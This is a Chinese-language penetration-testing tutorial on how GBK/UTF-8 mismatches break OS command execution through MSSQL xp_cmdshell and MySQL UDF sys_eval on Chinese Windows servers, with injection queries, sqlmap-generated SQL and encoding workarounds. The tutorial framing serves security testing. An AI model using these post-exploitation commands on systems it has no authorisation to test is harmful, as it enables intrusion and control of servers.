数据库提权中的字符集挑战 - 详尽教学文档
前言
在数据库渗透测试中,成功获取数据库权限后,通过数据库提权执行系统命令是获取更高级别系统访问权限的关键步骤。然而,字符集兼容性问题经常被忽视,导致命令执行失败或结果解析错误。本文以Windows中文环境下MSSQL和MySQL两种数据库提权为案例,详细分析字符集问题及解决方案。
基本原理
数据库提权调用机制
无论是MSSQL还是MySQL,通过数据库执行系统命令时,实际上都是在调用操作系统的命令行接口:
- MSSQL:使用
xp_cmdshell扩展存储过程 - MySQL:使用UDF(用户定义函数)如
sys_eval
Windows命令行字符集
在中文Windows系统环境下,提权调用了cmd.exe,其字符集特性如下:
- 使用
chcp命令查询当前代码页,936表示简体中文(GB2312) cmd.exe默认使用GBK字符集进行输入输出处理- 这意味着:
- 从数据库传递给
cmd的命令参数必须是GBK编码 cmd执行结果的输出也是GBK编码- 字符集不匹配会导致乱码或命令执行失败
- 从数据库传递给
MSSQL提权中的字符集问题
环境背景
典型场景:针对基于IIS + ASP.NET + MSSQL架构的Web应用进行渗透测试时:
- 注入类型:布尔盲注、堆叠注入
- 环境限制:不出网、仅暴露80/443端口
- 权限状况:数据库用户为
sysadmin,执行命令权限为nt authority\system - 系统环境:中文Windows Server
常见问题及解决方案
1. 寻找网站根路径时的中文路径乱码
问题现象:
执行命令获取网站配置时,包含中文路径的配置无法正确显示,返回结果出现乱码。
示例命令:
exec master..xp_cmdshell "type C:\Windows\System32\inetsrv\Config\applicationHost.config | find \"physicalPath\""
根本原因:
applicationHost.config文件使用UTF-8编码保存,但CMD使用GBK字符集解码,导致中文字符显示为乱码。
解决方案:
使用CyberChef等工具,通过"Encode text" → "Encode text"的recipe来恢复正确的中文字符。
2. 盲注中的非ASCII字符处理
问题描述:
在SQL Server中,ASCII()函数无法正确处理非ASCII字符:
SELECT ASCII('P') AS [ASCII], ASCII('中') AS [Chinese];
SELECT NCHAR(80) AS [CHARACTER], NCHAR(214) AS [CHARACTER];
解决方案1 - 使用UNICODE函数:
SELECT UNICODE('中') AS [Unicode_Value];
SELECT NCHAR(20013) AS [Character];
解决方案2 - 十六进制转换:
SELECT CONVERT(VARCHAR(MAX), CONVERT(varbinary(MAX), (SELECT entry_value FROM daily_back WHERE id = 1)), 2);
3. SQLMAP os-shell的字符集问题
问题现象:
使用sqlmap的os-shell功能时,遇到中文路径会执行失败。
原因分析:
SQLMAP的os-shell会自动将字符串使用UTF8编码,并直接输入xp_cmdshell,但CMD使用GBK解码导致乱码。
示例:
执行dir C:\inetpub\中文路径命令时,SQLMAP生成的代码:
DECLARE @gqxz VARCHAR(8000);
SET @gqxz=0x64697220433a5c696e65747075625ce4b8ade69687e8b7afe5be84;
INSERT INTO sqlmapoutput(data) EXEC master..xp_cmdshell @gqxz--
其中0x646972...是UTF8编码的命令。
解决方案:
遇到包含中文的命令时,改用sqlmap的sql-shell直接执行:
exec master..xp_cmdshell "xxxxx"
MySQL UDF提权中的字符集问题
常见问题及解决方案
1. 输出结果编码错误
问题现象:
在中文Windows环境下执行命令后,输出结果乱码。
示例:
SELECT sys_eval("dir E:\\");
解决方案:
在UDF函数外添加编码转换函数:
SELECT CONVERT(sys_eval('dir E:\\') USING gbk);
2. 命令中的非ASCII字符处理
问题描述:
当命令参数包含中文时,由于MySQL输入会根据默认字符集(utf8mb4/latin1)编码,导致命令执行错误。
示例:
SELECT CONVERT(sys_eval("dir E:\\附件") USING gbk);
解决方案1 - 十六进制编码:
使用CyberChef将命令转换为对应编码的十六进制,然后使用十六进制替代原有的字符串。
解决方案2 - 编码函数:
SELECT CONVERT(sys_eval(CONVERT('dir E:\\附件' USING gbk)) USING gbk);
总结与最佳实践
- 字符集意识:在Windows中文环境下进行数据库提权时,必须时刻考虑字符集兼容性问题
- 编码转换:善用数据库内置的编码转换函数(如MSSQL的
NCHAR/UNICODE,MySQL的CONVERT...USING) - 工具辅助:使用CyberChef等工具进行编码分析和转换
- 替代方案:
- 对于中文路径,尽量使用英文路径或短文件名
- 考虑使用十六进制编码绕过字符集问题
- 测试验证:在真实环境中,先测试简单命令确认字符集行为,再执行复杂操作
附录:常用命令参考
MSSQL常用命令
-- 检查字符编码
SELECT ASCII('A'), UNICODE('中');
-- 执行系统命令
exec master..xp_cmdshell "chcp";
-- 十六进制转换
SELECT CONVERT(VARCHAR(MAX), CONVERT(varbinary(MAX), '测试'), 2);
MySQL常用命令
-- 编码转换
SELECT CONVERT('测试' USING gbk);
-- 带编码转换的命令执行
SELECT CONVERT(sys_eval(CONVERT('dir' USING gbk)) USING gbk);
-- 十六进制命令执行
SELECT sys_eval(0x646972); -- 'dir'的十六进制
通过掌握这些字符集问题的解决方案,可以显著提高在中文Windows环境下数据库提权的成功率。